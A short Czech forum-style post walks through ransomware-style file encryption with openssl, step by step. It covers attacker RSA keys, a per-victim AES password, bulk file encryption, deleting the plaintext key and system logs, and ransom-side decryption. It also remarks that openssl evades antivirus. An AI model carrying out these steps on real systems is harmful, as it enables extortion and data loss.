Jen tak pro zajímavost.
Princip šifrování souborů pomocí openssl z pohledu šifrovacího malwaru.
A) PŘÍPRAVA
(provede útočník u sebe)
1) Vygeneruje se privátní RSA klíč (private.pem)
openssl genrsa -out private.pem 4096
(ten si nechá útočník)
2) Vygeneruje se veřejný RSA klíč (public.pem)
openssl rsa -in private.pem -pubout -out public.pem
(ten se použije při útoku)
-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEApPxQTdzO855YevSpLyxt
TK1NdPTUFczwEZ29Mz4AwG74C99h/LKX5cm6Z0PktRC0h4h4PXZ54qPbmwonjwb8
6qLPa256tZqP+TFuL3bX8lURrpkcFy8hfJGsTXyeKVxarASp01+0Spx1qeSK+v+X
hxDWnOabHr+QaF2IygEmZ/BC52GhiwHJBQvaGRi3KrcZ9X9ZCM2ao/kQrJEu7ffO
wTFqeBwYBBUswaB1xd4UJ2QhVXyHE3PSYyPhV0hVmiP3RXNX2p3I8LkuPlZZj7yv
F/hiO2+l8afbaYM6cztTpeQCdk+rg19DxPUFQlk37srx9mCB8ODhTX1IuOBD2FCh
Jm4ns7FkpQnAneAEA0Rv+ajamIxZ8NDbjqEB2rRxWLYkaOthf5sWUym6MjhOWXfz
BeG6NfHERnRuqWlG5abeKwMZm/emFVEtMkDG4KWycjweAWJ7xbfwpF+WSRSJG0/R
dz82ZlKxwn5LxiwmByxHT36S3l4V5PuhPjRE5/n/UdWiYbN9uqsTMxIsQNZL5+Rr
cAGuJW9LM0SkGKF1UkK/kxkgZ8xwyx8nmMjjx1QegQQqXU2zf1ej93uZz5h9jnGS
+zvUAsoRdRmwsiGPFrEFSmvvyhES6mDxeCjlA6MWDwLY24CxN+9prjJ22eqOTOCT
7Hv/+vMa6ulgyMNdE86tzs0CAwEAAQ==
-----END PUBLIC KEY-----
(RSA klíče můžou být pro různé útoky stejné)
B) ÚTOK
(na napadeném pc)
1) Vygeneruje se jedinečné heslo na AES šifrování dat (pw.txt)
openssl rand -out pw.txt -base64 32
(jeden útok (např. jeden hardware) = jedno AES heslo)
2) Heslo se zašifruje pomocí veřejného RSA klíče
openssl pkeyutl -encrypt -pubin -inkey public.pem -in pw.txt -out pw-en.txt
3) Zašifrování souboru pomopcí AES a hesla
openssl enc -aes256 -pbkdf2 -in plaintext.txt -out plaintext-en.txt -pass file:pw.txt
4) Spojení zašifrovaného hesla a zašifrovaného souboru
copy /B pw-en.txt + plaintext-en.txt encrypted.txt
5) Hromadné šifrování souborů
Provádí se pořád dokola B3 a B4
6) Base64 zašifrovaného hesla
openssl base64 -in pw-en.txt -out pw-en-base64-en.txt
(to se vloží třeba v informacích jak kontaktovat útočníka)
gVpWRePNrGyiEW3S0E2kMCoN3dqcvxqw+xHUsujTQrrKKJ5PdIaaxL1AlXQjY1NG
enKr0TlIfM1mmqJgktpAF/0ZMO/PSqWP0Md3QP3Lb99SQYBKBsOuY8hOLHm9MCfd
bpG0S07pcOHRtJ2ByUaDprIPQGkzF7no3gFdeLfHsq0JiRTec8PdAznyOnaKfjUx
mMIN3v6WKfmEdmGLYKpXF+sXkhx5Fed30Z2o9ndiWXPkrmo2gQGNrz1jCcHeVHWC
cqUZntVNkG+uZT35osq9yR36Ivp7BvrLXQGvBNsBlP29uod84Kmfrlgrj/rs5Fas
T4SHCBSfPIhRJFqK4ApEQfve8EnvBiSUVbRNaiNfxhukqrFmycEjGSM7K1uKPF4P
lOtADyFhYgnhptZ/wSJu74a0F9pYftZtQpOyvfXi6fGXACCBDI62w1Waewoe686s
gkG4+XOjTM2Enyx1C2GbIWgjGRYtZXiLJaRCKR7ZJP1k7FF2RI7+yODlOU+3xBha
f1NORNU3DX4CAzjYkz8pIRVJNBskTIfoIWccdjBAI9YKxC1E2CfHladzv+p/6Oo7
KQKpMV2GnAo49oMrBEikEgIXepmb1iC0eGq7E3eT949camqXNT8L0GE7H7iaNV4I
SmYNshixNS04kzIFsksw+pM1ch9f5tiUgwqhZqdaKKY=
7) Odstranění nezašifrovaného hesla (pw.txt, systémové logy, atd.)
C) Dešifrování
1) Získání AES hesla
Pokud napadený pošle zašifrované heslo v base64 podobě (B6) tak pokračovat bodem C2, pokud pošle náhodný zašifrovaný soubor (B4, encrypted.txt) tak pokračovat bodem C3
2) Base64 dekódování zašifrovaného hesla
openssl base64 -d -in pw-en-base64-en.txt -out pw-en.txt
3) Dešifrování zašifrovaného hesla
openssl pkeyutl -decrypt -inkey private.pem -in pw-en.txt -out pw.txt
(pw-en.txt získán bodem C2 nebo jako prvních 512 B zaslaného zašifrovaného souboru encrypted.txt)
4) Dešifrování souboru
openssl enc -aes256 -pbkdf2 -d -in plaintext-en.txt -out plaintext.txt -pass file:pw.txt
(plaintext-en.txt jsou 513+ bajty zašifrovaného souboru)
5) Hromadné dešifrovnání souborů
Provádí se dokola bod C4.
...
Poznámka:
openssl je globálně používaný open source nástroj nedetekovaný antiviry
...
Použité cmd, výstupy bez nezašifrovaného hesla použitého v příkladu a bez privátního RSA klíče použitého v příkladu.
Kdo chce, může se pokusit rozšifrovat zašifrovaný soubor (plaintext-en.txt nebo encrypted.txt, ten druhý je to samé, akorát se zašifrovaným heslem)